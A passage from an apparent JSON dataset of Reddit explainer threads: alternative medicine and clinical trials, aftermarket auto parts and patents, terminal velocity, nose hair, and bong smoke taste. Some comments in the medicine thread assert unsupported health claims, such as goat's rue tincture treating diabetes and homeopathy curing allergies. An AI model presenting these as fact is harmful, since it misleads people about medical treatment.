amounts of toxins - extremely small trace amounts, expecting a positive immune system response. It doesn't work. If it did, breathing polluted air would hypothetically be healthy as well. However, to make things more confusing, some medicines that aren't really homeopathic - are labeled homeopathic by law. For example: Zicam. Zicam is just Zinc. Zinc is simply a healthy supplement. Zinc does actually help against colds. While Zinc/Zicam has nothing to do with the concept of homeopathic medicine - Zicam is still labeled that way in the USA.", "I don't know about Ayurveda, but I do know homeopathy. \n\nBasically, we know homeopathy doesn't work for a variety of reasons, but the main one is that the central concept is completely against... everything. It defies the English language, even. \n\nThe idea is that, the more you dilute something, the stronger it gets. Even to the point where the \"medicine\" is x < 1% of the solution. Think about it, and you'll quickly realize this makes absolutely zero sense. What do you do to make a drink weaker? Add water. How do you stop a flavor from being to strong in a meal? Add other things. \n\nBut aside from that, alternative medicine and psuedoscience as a whole is often called so because it defies the scientific method. Very often, the studies that \"prove\" it *start with a conclusion*. In a real experiment, yes you start with a hypothesis (guess essentially), but you're looking for *proof*, while psuedoscience looks for *disproof*. And when you start with the answer, writing the question is usually very easy. \n\nTLDR: pseudoscience is right until its wrong, science is wrong until its right. ", "A lot of our modern pharmaceuticals are synthesized versions of plant constituents. For example, glucopgage, or metformin, is one of the most prescribed medications in the US. It\u2019s synthesized from goats rue, a plant you can grow in your back yard. Tincture the plant and you have diabetes medications with little to no side effects, unlike metformin, which is notorious for gastro side effects. You can\u2019t patent (ie make money off of) a plant. That\u2019s where the pharmaceuticals come in. ", "If you knew what a homeopathic method does you would never buy anything based on this dilutive process.", "The book Snake Oil Science covers this topic in detail. Humans are very, very bad at determining whether a medical practice is effective through casual observation. There are a whole bunch of factors that make medicines seem effective even when they are no more effective than a placebo.\n\n & #x200B;\n\nFirst, the placebo effect relieves pain whenever the patient thinks they are taking an effective treatment. Real medicines have a placebo effect as well. Second, many illnesses are self-limiting, which means the body heals itself without any treatment. Patients are most likely to seek treatment when their symptoms are at their worst, so they are likely to improve whether they are given any treatment or not. Even chronic conditions such as arthritis have natural variations, and once again patients are likely to seek treatment when they have a temporary flare-up, making any treatment seem effective.\n\n & #x200B;\n\nEven doctors are primed to think treatments are more effective than they are \u2013 patients hate to disappoint authority figures who are trying to help them and are likely to report their symptoms are improving more than they actually are. And researchers who study these things are hoping to prove the effectiveness of the treatment and may accidentally ask leading questions or lead the patients to not want to let them down.\n\n & #x200B;\n\nGiven all these complications, how can we tell which treatments actually work? With a carefully designed double-blind placebo-controlled study. A big group of patients are chosen and randomly split into two groups. One group will get a placebo while the other group gets the experimental treatment. No one is told which group they are in. The person who administers the treatment (or placebo) is not the same person who records the result. Those who are recording the result don\u2019t know if the patient is in the placebo or experimental group so their questions and mannerisms can\u2019t tip off the patient as to which group they\u2019re in or bias how they record the results.\n\n & #x200B;\n\nOnce the data is in, the researchers have to figure out what to make of it. Suppose the placebo group improved an average of 3 points on some scale while the experimental group improved 3.3 points. It\u2019s possible this result is due to sheer dumb luck, like someone trying a method to see if they can make a coin land on heads more often and they get heads 7 out of 10 tries. Does the strategy work or was it dumb luck? To get more confidence, you can calculate the probability that an ordinary fair coin will land on heads 7 out of 10 tries. If the chance is less than 5%, we consider that to be \u201cstatistically significant\u201d result. Researchers use a similar calculation to determine if their result is likely to be real or just a fluke.", "I kiss my kids boo boos and they get better. Therefore, kissing a wound is an effective treatment.", "I have a miracle pill that cures headaches. To prove it, I got a bunch of people with headaches and gave it to them. A whole bunch of them got better, so it works!\n\nExcept, no. People get headaches, and they go away most of the time. Sometimes for seemingly no reason. So how do we account for this? Simple, we need two groups. One group is given my pill. The other, a pill with a few grams of sugar. A pill that does literally nothing. This is a placebo. We tell the people that they may receive real treatment, or they will receive a placebo. We don't tell the patients or the doctors which is which. Only a third bookkeeping group, which has no contact with the doctors or the patients, can keep track of who got what. Now we compare the two groups. If the patients that received my pill were better able to manage headaches and saw relief faster than the group which was given the placebo, then my pill works. We also get to observe any side-effects the pill may have. If the placebo group and experimental group are not distinguishable, or if the placebo group outperforms the experimental group, then my pill is not effective. \n\nSometimes, doing an experiment of this nature is not easy. Cancer kills people, and nobody wants to undergo treatment that may or may not be the real treatment, and may or may not do anything regardless. But the double-blind study is by far the most effective way to demonstrate the utility of medicine. ", "We don't and can't know. If they didn't have the means to diagnose it then even if the offered treatment worked there was no way to know it did. For example, let's say I'm a healer and you show signs of hepatitis. Now, is it liver cancer, a virus, a toxin, an autoimmune disease? It could be any one of these and more. But maybe I've seen at least some people with these symptoms die and when they died they were full of tumors. Well, now I think that everyone with hepatitis symptoms has cancer, and if you don't eventually die (because your body cleared the infection or whatever on its own), then forever we will both claim that the treatment I gave you worked. ", "It takes a lot of money and time for a medicine or remedy to actually be proven to diagnose, treat, cure and prevent a disease.  One methodology to determine safety are tests done on mice \ud83d\udc01 with a new drug.   In these acute toxicity tests, researchers will determine how much of a substance is needed to kill the mouse \ud83d\udc01. :( This is important to understand \ud83d\udca1 how much is safe to give a person if they accidentally consume too much.  ", "They have done studies and test on a variety of natural plant substance and have very positive results in many cases. They can even analyze a chemical substance unique to each plant, compare it to know chemical therapy substances and have a good idea of how effective it will be. \n\nCytochemicals, chemicals unique to plants, will have a variety of antioxidants, which disarm positively charges substances and ions, protecting cell membranes and the nuclear DNA further inside. \n\nCheck out Cancer treatment centers of America, Chipsa cancer treatment center, _URL_0_, _URL_1_. Check out the books, How Not to Die and the Longevity Diet. They both do a good job of covering the chemical pathways of cancer and disease and how the foods we eat either cause or prevent cancer formation and DNA degradation.\n\nThis field of study is continue to develop as their are so many cytochemicals not yet researched. However, many of these chemicals will never be researched fully because they are readily available and impossible to trademark for a pharmaceutical company. \n\nI\u2019m rather obsessed with cancer research, health and longevity studies. These studies have lead me to a vegan diet. I can share a lot more if your interested and share a few of my Favorite studies and passages from the above mentioned books, if you\u2019d like. ", "Don\u2019t forget that we as a human collective only know so much. Historically, science has been continually updated. Ayurveda is a pretty complex subject in itself, so that depends on the type of ayurveda, which practice it specifically is and how it is practiced. Not to mention that Ayurveda has gotten twisted in a thousand different ways by people who just want to make money or are unhealthy themselves. Should we follow these people? Probably not. However, for example, only recently did science discover some of the benefits of meditation on the mind. Now many medical institutions and school campuses have meditation rooms lmao. What I mean to say is, there could be more with a perfectly logical explanation that we have not figured out just yet. Who knows. What if something seemingly impossible, was possible under specific circumstances? There might not a panacea, but major lifestyle changes can often help to minimize the damage or heal faster. ", "The key is understanding causality, correlation and completely unrelated events that occur one after the other/at the same time. Particularly with something like cancer, sometimes people are given false positives (the tests show cancer and they don't have cancer)or cancer can just completely dissapear (spontaneous remission) with no apparent cause. If someone who went into spontaneous remission had just marathoned seasons 1-8 of House before their next checkup, it seems obvious that watching house didn't cure their cancer.\n\nWith alternative medicines and such it's understandably difficult to keep this core idea in mind. Having acupuncture or taking a homeopathic pill and then finding your cancer has gone makes more sense to us, because we sought that treatment expecting it to cure cancer. \n\nWe also have to keep in mind that these people are likely also recieving real medical treatment simultaneously (alternate medicine is rarely if ever the first port of call for a sick person). It also happens that people usually seek out alternative medicines when they're at their lowest - usually the peak of a diseases symptoms that will reduce naturally with no intervention simply because it can't get worse. \n\nOn top of all that, there's a survivorship bias at play - the homeopath or crystal healer or chiropractor doesn't mention the countless number of people who came to them for treatment and then died of cancer anyway or didn't get better, and likely wouldn't even be aware that they had died as that would happen in a hospital bed.\n\nAnd this of course assumes the stories were true in the first place, and not simply fabrications to sell a sham therapy.\n\nAs for why we can say they don't work with confidence while modern medicine does, the biggest reason is probably that they have no understood mechanism of action that fits with any understanding of the physical world. Many are explained with ideas like invisible undetectable energy flows or similar concepts with no basis in observable reality. On the other hand we can explain why chemotherapy works and how it 'targets' and kills cancer cells on a cellular level using existing knowledge of cell biology.\n\nIn terms of actual research the gold standard in proving a treatment effective is a randomised (groups are chosen randomly) double blind (both the experimenter and the participant don't know which group they are in) placebo controlled (One group receives a fake treatment like sugar pills or mock acupuncture) trials. This more or less ensures no funny business is going on with research data. If we can see that more people being treated with something get better than people given a fake treatment at a significant (outside the bounds of random chance) level, we can say it's an effective treatment for that disease. People have done these studies and time.and again we see that these alternative medicines aren't effective. If they were, they wouldn't be alternative medicines", "Pharmacist here.  There are some efficacious \"alternative\" medicines mainly in the form of plant or herb derivatives.  I have access to a database through work that will break down the level of evidence, efficacy, safety,  side effects, interactions, etc. for herbal medicines. We have a large herbal section outside the pharmacy and I found the database because customers always had questions. \n\n\nNow many of these herbs effects are statistically significant, but not clinically significant. I could guarantee with almost 100% certainty a plant will lower your blood pressure,  but maybe by 1 or 2 mmHg. This would be an example of statistical significance without clinical significance. \n\n\nHerbals also don't have to list side effects, interactions (other than maybe some very dangerous ones) or prove efficacy of the contained product. \n\n\nI could go on,  but my point is real medicine comes first,  herbals may be an alternative with trusted guidance. \n\n\nWhen it comes to homeopathy or any other pseudoscience, steer clear completely. ", "It\u2019s really simple: if somebody is trying to sell you an \u201calternative\u201d cure: it\u2019s bullshit. \n\nThe end. ", "You use science.\n\nDouble blind trial of a statistically significant number of patients, some getting the drug, some getting a placebo, with neither the patient or administrator knowing who is getting which.\n\n", "I am going to get a lot of slack for this but I believe I need to provide an alternate view too. I am not any doctor or proponent of one over another. I have been a patient of homeopathic treatment but modern medicine have been the most common form of medicine for me.\n\nAyurveda is not a Hocus pocus witchcraft. It is one of the oldest medical system believed to be discovered in around 12th Century. I am going to be brief here and not be a Wikipedia article. At that time there was no well documented or followed medical procedures but then some people believed that they need to experiment, document and prescribe certain types of treatments for various ailments. Remember there were other medical systems being developed and used in other parts of the world but there was no internet or maps or mail system to connect them together. A lot of ancient systems were developed nearly in isolation and later became known to others as information exchange mediums were developed. The two known people are Charaka and Sushruta who took up the task and discovered Ayurvedic medicine system. The basic concept underlying this system is that body is made up organic material and everything that builds is comes out of nature- food, water, air. And hence the ailments in the body are connected to these organic origins. Now this medical system is not a quick fix like the modern medicines. It starts slowly but surely to bring back the balanced and optimum state of various organic materials in the body. I don't believe it can cure 3rd stage of cancer or all types of cancer but it can definitely help if there is an early diagnosis. Also the lifestyle we live right now is not compatible with the slow process of Ayurveda. We have flu now and we run to get antibiotics because we have to get back to work, take care of the bills, play PUBG (oh well... A flu can't stop me from playing it.... But you get the point). I have never used Ayurveda but I have incorporated parts of it in my daily routine. Also Ayurvedic medicines and based on herbs and plants and can be easily tracked when it comes to auditing the effectiveness of it. It's a science, not any magic. The problem is we can't believe that there were people in the past who were able to invent things, just because we think they needed microscopes. Imagine 100 years from now when we will Nano bots as part of our blood, people then won't believe there were people who used to watch blood and bodily fluids through a glass piece (aka microscope). Again this is just an example but I hope you got the point.\n\nComing to homeopathy, I don't know a lot about how it works but I have successfully cured my sinus allergies through it. I was on modern medication for over 2 years and I needed to keep consuming medicines regularly to keep my allergies in check. Then I tried homeopathy. It was a long treatment... About 10 months but my allergies were totally cured. I have been allergy free for over 20 years now ( knock on the wood). Coincidence? Nope. My father followed homeopathy after me and he got rid of his allergies too. Modern medicine suggested he would have to undergo surgery (apparently there was sinus bone that kept irritating the nerves and aggravated the allergies) and even then it wasn't sure if his allergies will go away. After homeopathy, my father's allergic toned down to 5% of the initial state. I know someone who had rheumatic arthritis and found huge relief with homeopathy. I have seen many more cases. Is it witchcraft? I don't know. Does it work- yes. I am a living proof.\n\nModern medicines are a boon. We won't have such excellent life with it. But to dismiss other medical systems as placebo effects and magic is an insult to our own intelligence. Spend some time exploring the alternative systems. Stop reading conformational biased literature. Go deep and ask people who have used them. Not everything suits everyone but unless you try to understand them yourself you will always be in denial.\n\nThanks.", "Most of it is just a scam to make money off vulnerable people. Some of it is ignorance or even hubris. Steve Jobs is a great example of why you should stay away from alternative medicine. ", "Over the past 150 years or so with the emergence of medical science, we tested all the known remedies. Those that worked became 'medical science', those that didn't became 'alternative medicine'. Kind of like 'alternative facts'.\n\nLook up homeopathy in the science literature - it's just water. ", "Can someone help me in locating the article about how the human brain can be tricked into believing something is real and has effects manifest physically. The article in question was about unknowingly ingesting a drink that looks and tastes like alcohol, but had 0 alcohol in it. Because the participants had no idea, they believed it was, and showed physical symptoms of drunkenness.\n\nBasically, my take on this, and my opinion based on some research and working in the medical field, treatments are most effective when you believe they are working, when you can convince your mind that you are being cured, it helps along the way to actually curing you. The human body is fun, and the mind is unsettlingly interesting in what it can do.", "People sometimes just get better, even from deadly diseases. It's just how human body works, some people get lucky. Even cancers do go into remission their own.\n\nSo when it happens to someone who happened to be taking homoeopathy drug, or had a spell cast on, or whatever, people attribute getting better to it, despite the fact that it didn't help at all, and it's literally a coincidence. \n\nWe just hear those stories a lot more than stories of people who died because they chose not to take normal medicine in favour of homoeopathy or some other voodoo. ", "By comparing how many people get better after using it, compared to patients of conservative medicine. \n\nBut there's a problem: people often don't do that to find out the truth. Instead, they want to prove something. And so they end up (often subconsciously!) affecting such testing. \n\nBy now, high quality tests (with little possible influence) have proven how such alternative therapies have no physical healing effect. But more so than that did people compare test quality to the measured effectiveness of homeopathic treatment. \n\nTurns out, the less chance there is too fake a positive effect, the worse homeopathy becomes at healing. (Again though, most such fake effects have likely been caused unintentionally)", "A lot of great people answered you better than I could have, so I'm just going to say this:\nHow do you call a alternative medicine that works?\n... A medicine.\nIn fact when a practice not part of current m\u00e9decine proves it works, it's integrated to medecine. Hypnosis took this path not too long ago and is use in some cases for surgery for example.", "My step mom was really into ayurveda for like a decade. She would drive over an hour to see this practioner regularly. Not only was he an ayurveda practioner but he even completed some medical school too. She took this man's word of advice as if it was coming from  a god. She ate exactly how he said to, drank the teas, used all of that herbal stuff, did the yoga, etc. She claimed he had helped and/or cured several ailments. One even being narrowly escaping needing a back surgery because he told her to drink warm water. Apparently her bones were dehydrated. Fast forward to now and she has stage 4 breast cancer. It has spread to her liver and spine. Luckily the chemo is working and she doesnt listen to the medicine man anymore. He had actually told her to not be worried about the lumps in her breast. They were most likely due to scar tissue from a breast reduction surgery. He also told her he would know if she had cancer from feeling her pulse. I know she is at fault for not doing regular check-ups at a real doctor but it still hurts my heart.", "If a medicine has been properly and scientifically tested for effectiveness, it is called medicine. Anything that is termed 'alternative medicine' you can discount completely- if it works, it becomes a medicine and that's it.", "To quote Tim Minchin:\n\n\"Alternative medicine is medicine that has either not been proven to work, or proven to not work. \n\nDo you know what they call alternative medicine that is backed by science?\n\nMedicine\"\n\nSo to answer your question, we don't. It's a baseless claim that someone made about some form of alternative medicine, but its not supported by science.\n\nThey might as well have claimed that breathing cured them, and it would be just as legitimate.\n\nIts up to you to be critical of what people try to convince you of, and to really investigate things before going to any practicioner of alternative \"medicine\". ", "The only way to do this is via experiment.\n\nFDA have three phases of experiment (_URL_1_). This is after they do testings on animal.\n\n**Drug Review Steps Simplified**  \n\n1. Preclinical (animal) testing.\n2. An investigational new drug application (IND) outlines what the sponsor of a new drug proposes for human testing in clinical trials.\n3. Phase 1 studies (typically involve 20 to 80 people).\n4. Phase 2 studies (typically involve a few dozen to about 300 people).\n5. Phase 3 studies (typically involve several hundred to about 3,000 people).\n6. The pre-NDA period, just before a new drug application (NDA) is submitted. A common time for the FDA and drug sponsors to meet.\n7. Submission of an NDA is the formal step asking the FDA to consider a drug for marketing approval.\n8. After an NDA is received, the FDA has 60 days to decide whether to file it so it can be reviewed.\n9. If the FDA files the NDA, an FDA review team is assigned to evaluate the sponsor's research on the drug's safety and effectiveness.\n10. The FDA reviews information that goes on a drug's professional labeling (information on how to use the drug).\n11. The FDA inspects the facilities where the drug will be manufactured as part of the approval process.\n12. FDA reviewers will approve the application or issue a complete response letter.\n\n\nThe alternative medicine are mostly natural stuff that can pass under supplement. _URL_0_\n\nIt's under different regulations and less stringent. \n\nIf you want to claim something work you do it via experiment and statistic. You want to rule out it's by chances and placebo. That's what the hundreds if not thousands of statisticians and related statistic fields do at the FDA for drugs. \n\nIf alternative medicine haven't gone through a scientific experiment backed by statistic then you're playing with your life and health. Chemo is a terrible treatment and makes people feel like they want to die. There are sub set of people who have to weigh their chances of survival and quality of life. If the chances of survival is pretty low they may opt not taking chemo and try these \"alternative\" medicine due to desperation and hoping it may cure. Also they probably don't want to spend their remaining days of their lives living in agony with chemo treatment (thankfully medical cannabis can help with this and legal now). While I've never had cancer I can understand the desperation for an alternative cure something that is better than chemo. \n\nPlease note my answer may be bias. I've interned at the FDA and I am currently finishing up my master in Applied Statistic. My thesis is on predictive algorithm for cancer genetic assay data. \n\nThe statistic in me makes me very skeptic of alternative medicine that aren't rigorously tested. But I do understand the reason for a subset of people trying alternative medicine. \n\n\n\n", "Don\u2019t forget that the results must be repeatable. Seems worth mentioning since now awadays people will just quote a study and use it to bolster their point in view when the findings have not been repeatable. ", "Here is an easy answer.  As a doctor:\n\nALL ALTERNATIVE MEDICINE IS COMPLETE AND UTTER GARBAGE PROPOSED BY CHARLATANS MANIPULATING VULNERABLE AND SOMETIMES IDIOTIC PEOPLE. \n\nIf you are not happy with your doctor then go get a second opinion before condemning your health to treatments that are no better than old age witchcraft.", "Quick tip - It doesn't.  They're lying.  Either because they're also lying to themselves, or because they're trying to rip you off.  \n\nIt's an alternative *to* medicine. ", "We don't base anything of anecdotes, that's how.\n\n & #x200B;\n\nJust because you had homeopathy or any other treatment and your symptoms went away/your illness was cured it doesn't mean that was the cause of the cure. Any more than If you'd eaten coconut for the first time before you were cured that would be the cause.\n\nSometimes people get better on their own, even when there's an infinitesimally small chance of doing so statistically. that's why we do lots and lots of controlled studies to see if there's an statistical benefit to a treatment. \n\nThe fact that most of these alternative therapy practitioners resist participating in any sort of controlled study is a massive red flag and when scientists do the studies themselves they invariably show no benefit or at least no benefit greater than that provided by a placebo. In the odd study that has thrown up positive results its always been unreplicable or had a problem with methodology. \n\n & #x200B;\n\nIt's called ALTERNATIVE medicine for a reason, If it worked it would just be called medicine.", "There's a few methods to test claims like this, but most important is removing bias and placebo effect.\n\nTo this end, real medical trials are performed as a double blind: neither the patient, nor the prescribing doctor, knows whether the patient will recieve medication or a placebo.\n\nIf the medicine shows an outcome (positive, negative or unexpected), statistical analysis is performed to investigate the odds that correlation occured by chance or an actual effect.\n\nIf it can be shown that there is a less than 5% chance that the difference between the medication and the placebo occured by chance, the effect of the medication can be deemed statistically significant and a claim can potentially be made.\n\nThis goes for trials to test a theory, unexpected secondary effects and negative side effects. For example: aspirin can be shown to have a statistically significant decrease in pain response, but also a stastically significant reduction in stroke risk in patients with known cardiovascular disease. Though also a stastically significant increase in the rates of stomach ulcers.\n\n---\n\n**TL;DR**\n\nNew medicines need to be rigorously tested to show, with evidence, that their effects are stastically significant when compared to a pllacebo.\n\nAfter that, it's no longer \"alternative medicine\". \n\nIt's just medicine.", "When ECT was invented in 1938 we didn\u2019t have knowledge about neurotransmitters, so research was based on experimentation and empirical experience. Only much later today do we now begin to understand why it actually works. My point being that you can\u2019t say something is \u201cknown nonsense\u201d until it\u2019s been tested using rigorous, scientifically sound trials.\n\nRegarding cancer treatment only newer, biological medications specifically target cancer cells (such as traztuzumab that tarvets only breast cancer cells with HER-2 receptors). Conventional chemotherapy works by interfering with cell division and so affects all tissues in the body, only cancer cells are hit the hardest because the divide so rapidly.\n\nVitamins were just an example I grabbed out of the air. I am aware they have no place in current cancer treatment (though they are used for other diseases, such acne treatment with vitamin A). My point was that we can\u2019t really prove what is effective and what is not until we try it out in a trial.", "People assume that since their symptoms are being treated that their problem is being treated. Many alternative medicines are more for being comfortable and feeling good that they think they're being cured. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Dunning%E2%80%93Kruger_effect", "https://www.youtube.com/watch?v=aNSHZG9blQQ"], [], [], [], [], ["http://i.imgur.com/7c89u9l.png"], [], [], [], [], ["https://xkcd.com/808/"], [], [], ["https://xkcd.com/882/"], [], [], [], ["https://jamanetwork.com/journals/jama/fullarticle/2687355"], [], ["https://jamanetwork.com/journals/jamaoncology/article-abstract/2687972"], [], [], [], [], [], [], [], [], [], [], ["nutritionfacts.org", "worldhealthfoods.com"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://www.fda.gov/Food/DietarySupplements/", "https://www.fda.gov/Drugs/ResourcesForYou/Consumers/ucm295473.htm"], [], [], [], [], [], [], []]}
{"q_id": "p43w8", "title": "how can companies duplicate auto parts exactly and it be legal?", "selftext": "I was thinking about how if you wanted to get, say a replacement alternator for your car, you can buy a new one from the dealer or parts store that is made by your car company.  You can also buy an identical piece that is made by someone else for less.  How can they make that identical piece and it not be some sort of infrigement on the original product?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/p43w8/eli5_how_can_companies_duplicate_auto_parts/", "answers": {"a_id": ["c3mcvvz"], "score": [14], "text": ["The idea of \"intellectual property\" is actually three separate legal things: *trademarks*, *copyrights*, and *patents*. So let's look at each of these, using the example of a new alternator manufactured by Hitachi and an aftermarket alternator manufactured by Cardone.\n\nA *trademark* is a word (or a few words) or a symbol or logo. An example would be the Hitachi logo. When Hitachi manufactures an alternator, they put their logo on it. All Cardone has to do to comply with the law is not put Hitachi's logo on it.\n\nA *copyright* is a protection provided by law for the creator of a creative work. Copyright protects things like books, paintings, magazine articles, movies, and songs. It doesn't protect the design of a car part, so Cardone is in the clear.\n\nA *patent* is a protection provided by law for the inventor of an invention. This is the one that Cardone has to worry about. If Hitachi invented a particular type of alternator, and has a patent on it, nobody else can make that type of alternator without Hitachi's permission.\n\nThere are a few ways they can deal with this:\n\n* It's possible that Hitachi would give Cardone permission to manufacture their patented alternator. Cardone would give Hitachi a little bit of money for each alternator they sell. This is called *licensing*. Hitachi could be willing to do this because they'll make money on Cardone's alternators without having to build, market, and sell them.\n\n* Cardone could design a different alternator that doesn't use any patented inventions but still fits the same way as the Hitachi alternator and still works with the car.\n\n* Cardone could actually buy the alternator from Hitachi and resell it. Hitachi might be willing to do this because they know some people will always buy their name-brand parts anyway.\n\n* Similar to the above, Cardone could just buy old Hitachi alternators and replace all the worn-out parts and then resell them. This is called *remanufacturing*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1phv5z", "title": "Once a human being reaches terminal velocity would they still feel like they are falling?", "selftext": "For the purpose of this experiment we are going to hypothesize that our subject is contained within an aerodynamic container so that their perception is not influenced by the wind rushing past them to their impending doom because I did not equip them with a parachute.  \n\nAlternatively, consider that our brave sacrificial astronaut has been expelled from the confines of a shuttle that is orbiting an earth-size body that has no atmosphere; ignoring the difference in velocities our two sacrifices will achieve what will they experience once they have reached the maximum possible speed?  Will they still feel like they are falling?\n\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1phv5z/once_a_human_being_reaches_terminal_velocity/", "answers": {"a_id": ["cd2h1ct", "cd2h5dc", "cd2yhtp"], "score": [25, 6, 2], "text": ["Terminal velocity in the atmosphere is the speed at which the force of gravity pulling you down matches the force of wind resistance trying to hold you up.  This is basically the same as standing on a floor, where the force of gravity matches the force of the floor holding you up.  So, at terminal velocity, you would still feel like you weigh something (as opposed to feeling weightless).\n\nIf you're in a closed capsule with no windows, and the capsule reaches terminal velocity, you would have trouble telling if you were falling or at rest (aside from buffeting of the capsule and other such effects).\n\nAs for an astronaut, if there is no atmosphere, there is nothing to slow you down, so you would never reach terminal velocity until you encountered some type of resistance.", "At terminal velocity, by definition, acceleration is zero.  If there is no vertical acceleration then the situation is equivalent to being on solid ground (of the same altitude).  The subject will feel his/her entire weight.\n\nIf there is no atmoshpere, there is no terminal velocity.  The astronaut will accelerate until hitting the ground.  They will feel like they're falling the entire time.", "In a less scientific answer (no aerodynamic/physics explanation), I've been skydiving before and it just feels like you're being held up by the wind. Feels more like lying on a bed of wind than falling, which is why indoor skydiving feels exactly same without any falling at all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "16rey6", "title": "How significant is nose hair in protecting us from infection?", "selftext": "It's common to see advice not to pluck nose hair because of it's supposed role in protecting us from infection.\n\nLate edit: I'll also add another reason I've posted this question; I'm 51 and my nose hairs are doing what they do in all of us after we reach middle age. If I could afford it, I'd consider permanent removal of them. Like most men my age, it's getting to the point where I could probably grow a bit of a mustache with just my nose hairs, now that they've changed the direction and length that they grow.   ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16rey6/how_significant_is_nose_hair_in_protecting_us/", "answers": {"a_id": ["c7yobn0", "c7yqdh2", "c7yw5oj", "c7yygfn", "c7z1wli", "c7z490l", "c7z91q8"], "score": [62, 31, 6, 12, 3, 2, 2], "text": ["The mucosal membranes are part of your immune system's first line of defense. Hair, mucous, and ciliated movements trap and expel foreign objects/antigens out and off the membranes and therefore out of the body. It's not that you're fucked without it, but every little bit helps.", "To follow up on this, instead of starting a new thread:\n\nHow well do other bodily methods prevent infection, such as coughing, sneezing, ear wax, etc.?\n", "All nose hair really does is catch large particulates like dust and pollen.  Those then get stuck in mucus and then secreted.  It's a way of keeping our lungs clean.  Virus particles will slip right by.  My nose hair is so itchy that I find myself sneezing a lot, so I wonder if that isn't another defense mechanism, but this is no place for speculation.", "I'm finding it very difficult to find anything relevant for answering the original question. There seems to be a dearth of information on the subject matter. I'd feel much better about this post if someone with a green tag could take a look at this. This chemist has no expertise in this subject matter, and I shouldn't be commenting outside of what I know! However, it's been 8 hours now and I see no posts with references in them, so I will try my best here.\n\nI managed to find [this paper](_URL_0_) which summarizes some functions of the nasal cavity -- see the quotes below. However, the focus of this paper is modelling physical stresses experienced by the nose, not on its relation to infectious diseases, so at best, this paper is only tangentially relevant to the original question. However, it has some useful information that should be shared in AskScience:\n\n >  The major physiological functions of the human nasal cavity are respiration, defense, and olfaction. The respiratory role, in which environmental air is modified to nearly alveolar conditions, has been extensively studied. Being the entrance hall to the respiratory system, the nasal cavity is also the front line defender of internal organs. The epithelium lining of the cavity is rich with goblet cells that discharge mucus in response to intrusion of particles or other mechanophysical stimulations. On stimulation, mucus secretion is quickly and extensively increased to trap most of the particles and constantly removes them by mucociliary clearance. \n\nMy understanding: the nose is useful for breathing, keeping us healthy, and helps us detect things through smell. Many people have studied how the nose conditions the air we breathe into something appropriate for the lungs. There are special cells that line the nose called goblet cells. They secrete mucus whenever particles make their way into the nose, or whenever they are stimulated in some way. Once this happens, more mucus is produced in an effort to remove the offending irritants.\n\nBy the way, AskSciencers, where are these goblet cells located? An illustration would be good to find.\n\n >  Several in vivo studies of nasal airflow sensation have only revealed that the dry hair-bearing epithelial lining of the vestibule at the nasal entrance is more sensitive than the moist respiratory mucus lining of the\nnasal cavum. The nose is rich with mechanoreceptors, thermoreceptors, and nerve ends; however, very little is known about their microstructure and complex dynamics.\n\nIn other words, we only know that the hair cells right at the front of the nose are more sensitive than other cells further inside. Maybe this difference in sensitivity serves a particular function? Since the cells near the front are rather sensitive, can stimulating them cause the cells further back to secrete more mucus? Perhaps this in turn helps reduce the risk of infections? \n\nI wish someone with a green tag can speak up and give their opinion on whether this inference is reasonable. I am going to suggest that the answer to the OP's question is that we don't know enough to answer one way or another. Based on the information from this one article, we just don't know \"how significant is nose hair in protecting us from infection\". Of course, we should look for more. One article is not good enough to answer such complex questions.\n\nSo now AskScience, it's your turn! Use your best search skills and respond with another journal article that builds on this commentary.", "A lot of people have been mentioning the dearth of sources, so I thought I would poke my nose in and toss a few good citations I came by. I am unfortunately not qualified to really critique these, but they may set more knowledgeable posters in the right direction.:\n\nHuawei Shi, Clement Kleinstreuer, Zhe Zhang, Modeling of inertial particle transport and deposition in human nasal cavities with wall roughness, Journal of Aerosol Science, Volume 38, Issue 4, April 2007, Pages 398-419, ISSN 0021-8502, 10.1016/j.jaerosci.2007.02.002.\n(_URL_0_)\nKeywords: Human nasal cavity; Inertial particle decomposition; Computer analysis; Wall roughness\n\n\n\nYuan Liu, Edgar A. Matida, Matthew R. Johnson, Experimental measurements and computational modeling of aerosol deposition in the Carleton-Civic standardized human nasal cavity, Journal of Aerosol Science, Volume 41, Issue 6, June 2010, Pages 569-586, ISSN 0021-8502, 10.1016/j.jaerosci.2010.02.014.\n(_URL_1_)\nKeywords: Aerosol deposition; Standardized human nasal cavity; Nasal airway; Deposition measurements; Nasal deposition\n\nIf anyone cant get their hands on a pdf of these and really wants to dive into nose science then feel free to PM and I will get a link for you.\n\n", "I've never heard not to trim visible nose hair, what (and where) common advice are you seeing that says not to do it? ", "I wondered the same as I've grown accustomed to yanking any bugger long enough to protrude my proboscis."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://jap.physiology.org/content/100/3/1003.full"], ["http://www.sciencedirect.com/science/article/pii/S0021850207000250", "http://www.sciencedirect.com/science/article/pii/S0021850210000479"], [], []]}
{"q_id": "49npbp", "title": "why does smoke sitting in a bong or pipe taste \"stale?\"", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/49npbp/eli5_why_does_smoke_sitting_in_a_bong_or_pipe/", "answers": {"a_id": ["d0tbu19"], "score": [6], "text": ["I'm pretty sure that, much like water, the temperature lowers and you taste more of what it actually is. This probably has to do with the temperature of your tongue vs. the smoke or water or whatever it may be.\n\n[Just found this](_URL_0_), which is a study that suggests the above. [Here is another.](_URL_0_) \n\nTl;dr of those is that temperature does affect taste, but whether or not it being closer to the temperature of your tongue invoking natural flavors is probably more debatable than I lead on. It moreso has to do with encouraging nerves and your tongue's taste receptors to be more focused on specific flavors based on the temperature of whatever it's attempting to taste. Those are two older papers though, so there might be new information out there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/nature/journal/v438/n7070/abs/nature04248.html"]]}
